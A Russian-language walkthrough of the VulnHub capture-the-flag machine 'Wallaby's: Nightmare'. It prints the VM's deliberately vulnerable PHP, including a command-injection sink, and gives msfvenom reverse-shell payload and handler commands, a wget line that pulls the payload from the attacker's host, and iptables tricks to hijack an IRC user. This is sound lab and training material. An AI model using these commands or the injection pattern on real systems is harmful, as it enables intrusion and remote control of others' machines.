Всем доброго времени суток, после небольшого перерыва, снова возвращаемся к разбору виртуалок с VulnHub. И на очереди Wallaby's: Nightmare (v1.0.2), как пишет автор, на создание этого boot2root его вдохновили некоторые предыдущие CTF с этого сайта, а вот какие именно, я думаю вы сами сможете догадаться.
Запускаем VirtualBox, или что вам больше нравится, и после загрузки образа, приступаем к изучению этого подопытного:
$ sudo arp-scan -l -I wlan0
192.168.1.4 08:00:27:d9:00:aa CADMUS COMPUTER SYSTEMS
Куда мы без nmap'a, детектим открытые порты:
$ sudo nmap 192.168.1.4 -sV
Nmap scan report for 192.168.1.4
Host is up (0.00074s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
6667/tcp filtered irc
MAC Address: 08:00:27:D9:00:AA (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Начнём с web сервера, заодно посмотрим, что на нём крутится:
Какая-то форма, ввода имени пользователя, запомним её, и попробуем что-нибудь ввести:
Нам дают некоторые советы и предлагают начать, ну или продолжить:
Это уже интересней, однако обновив страницу, получаем ошибку соединения. Просканировав ещё раз весь диапазон, находим, что порт на котором висит apache изменился:
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
6667/tcp filtered irc
60080/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Пробуем зайти и видим следующее:
Не найдя тут продолжения сюжета, запускаем nikto:
Nikto утверждает что нашёл LFI, переходим по ссылке и получаем содержимое файла passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
walfin:x:1000:1000:walfin,,,:/home/walfin:/bin/bash
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:109:117:MySQL Server,,,:/nonexistent:/bin/false
steven?:x:1001:1001::/home/steven?:/bin/bash
ircd:x:1003:1003:,,,:/home/ircd:/bin/bash
Но не всё так просто… Заглядываем в код страницы и находим сообщение:
<!--This is what we call 'dis-information' in the cyber security world! Are you learning anything new here admin?-->
И как подтверждение:
Попробуем перебрать доступные параметры:
$ sudo dirb http://192.168.1.4:60080/index.php?page= /usr/share/dirb/wordlists/big.txt -w
Начав проверять их по очереди, и дойдя до mailer, обнаруживаем в коде страницы вот такой комментарий:
Хм, а что если попробовать выполнить команду?
Это сработало, и это не очередной розыгрыш! Посмотрим что сокрыто в этих скриптах:
<?php
# basic webpage routing
$page = filter_input(INPUT_GET, 'page');
$open = fopen("/var/www/html/uname.txt", "r");
$levelone = "/var/www/html/levelone.txt";
$username = fgets($open);
$ip = $_POST['ip'];
# whitelist webpage filter
$webpageWhitelist = ['index', 'contact', 'home', 'blacklist', 'mailer', 'name'];
# Begin filtering the $page variable
if ($page === "name" and file_exists($levelone)) {
include('/var/www/html/uname.txt');
}
elseif ($page === "home" and file_exists($levelone)) {
include('s13!34g$3FVA5e@ed/home.php');
}
elseif ($page === "home" or isset($page) === false and !file_exists($levelone)) {
include('s13!34g$3FVA5e@ed/althome.php');
}
elseif (in_array($page, $webpageWhitelist, true) === true and $page !== "name") {
# If the web page is on the whitelist. Show it.
include "s13!34g$3FVA5e@ed/{$page}.php";
}
elseif (isset($page) === false) {
# Or else, IF the web page variable is NULL/Not Set. Assume home page is wanted.
include 's13!34g$3FVA5e@ed/index.php';
}
elseif (strpos($page, '/etc/passwd') !== false) {
include 's13!34g$3FVA5e@ed/honeypot.php';
}
elseif (strpos($page, '/') !== false and file_exists($levelone)) {
echo "<h2>That's some fishy stuff you're trying there <em>{$username}</em>buddy. You must think Wallaby codes like a monkey! I better get to securing this SQLi though...</h2>
<br />(Wallaby caught you trying an LFI, you gotta be sneakier! Difficulty level has increased.)";
system('rm /var/www/html/levelone.txt');
}
elseif (strpos($page, '/') !== false) {
echo "<h2>Nice try <em>{$username}</em>buddy, this vector is patched!</h2>";
}
elseif (strpos($page, ''') !== false) {
echo "<script>window.RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; //compatibility for firefox and chrome
var pc = new RTCPeerConnection({iceServers:[]}), noop = function(){};
pc.createDataChannel(""); //create a bogus data channel
pc.createOffer(pc.setLocalDescription.bind(pc), noop); // create offer and set local description
pc.onicecandidate = function(ice){ //listen for candidate events
if(!ice || !ice.candidate || !ice.candidate.candidate) return;
var myIP = /([0-9]{1,3}(.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/.exec(ice.candidate.candidate)[1];
alert('Your ip is ' + myIP + ', consider it blacklisted for a bit :D.');
post('/?page=blacklist', {bl: myIP});
pc.onicecandidate = noop;
};</script>
<noscript>Wtf...where'd you go <em>{$username}</em></noscript>";
}
else {
# Or else, we will show them a 404 web page instead
#include 'pages/errors/404.php';
echo "<h2>Dude, <em>{$username}</em> what are you trying over here?!</h2>";
}
?>
<?php
$cmd = $_GET['mail'];
if (strpos($cmd, 'nc') !== false) {
echo '<h5>How you gonna use netcat so obviously. Cmon man. This is all in the logs.</h5>';
}
else {
system("{$cmd}");
}
echo "<h2 style='color:blue;'>Coming Soon guys!</h2>
<!--a href='/?page=mailer&mail=mail wallaby "message goes here"'><button type='button'>Sendmail</button-->
<!--Better finish implementing this so {$username} can send me all his loser complaints!-->";
?>
Теперь самое время воспользоваться msfvenom, и настроить себе полноценный шелл:
$ sudo msfvenom -p linux/x64/mettle/reverse_tcp lhost=192.168.1.124 lport=4444 -f elf > ./x64mettle
А также конфиг для msfconsole:
$ cat meterpreter.rc
use exploit/multi/handler
set payload linux/x64/mettle/reverse_tcp
set lhost 192.168.1.124
set lport 4444
run
Загружаем это всё на наш атакуемый хост, через скрипт mailer, используя следующую команду:
wget http://192.168.1.124/x64mettle.bin -O /tmp/x64mettle.bin
Запускаем handler в Metasploit, запускаем наш бинарник, и спустя несколько секунд, у нас есть полноценный шелл. Первым делом проверяем, доступно ли текущему пользователю выполнять команды через sudo:
sudo -l
User www-data may run the following commands on ubuntu:
(waldo) NOPASSWD: /usr/bin/vim /etc/apache2/sites-available/000-default.conf
(ALL) NOPASSWD: /sbin/iptables
Не много, но для www-data — этого даже слишком. Заглянем в iptables:
sudo /sbin/iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT tcp -- localhost anywhere tcp dpt:ircd
DROP tcp -- anywhere anywhere tcp dpt:ircd
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Как вы помните, nmap нашёл 6667 порт, и пометил его как фильтруемый. Пришло время изменить это, сбросив всё на стандартные настройки:
sudo /sbin/iptables -F
Проверяем результат:
$ sudo nmap 192.168.1.4 -p 6667
Nmap scan report for 192.168.1.4
Host is up (0.00025s latency).
PORT STATE SERVICE
6667/tcp open irc
MAC Address: 08:00:27:D9:00:AA (Oracle VirtualBox virtual NIC)
Подключаемся:
Команда /LIST показала наличие 1 канала:
Зайдя на который, можно видим там ещё 2х пользователей:
Nicks #wallabyschat: [@waldo GH0st3rs wallabysbot]
Пользователь waldo со мной общаться не захотел, а вот wallabysbot был более приветлив:
Ок, мы же имеем доступ к iptables, что нам стоит дропнуть waldo из чата?
sudo /sbin/iptables -I OUTPUT -m owner --uid-owner 1000 -p tcp --dport 6667 -j DROP
Дожидаемся пока закончится его сессия в IRC, меняем свой ник на waldo, и получаем ещё 1 шелл:
Проверим, что доступно этому пользователю, а доступно ему как выяснилось многое:
Забираем флаг, наслаждаемся поздравлениями, и, + ещё 1 пройденный Boot2Root CTF:
Автор: GH0st3rs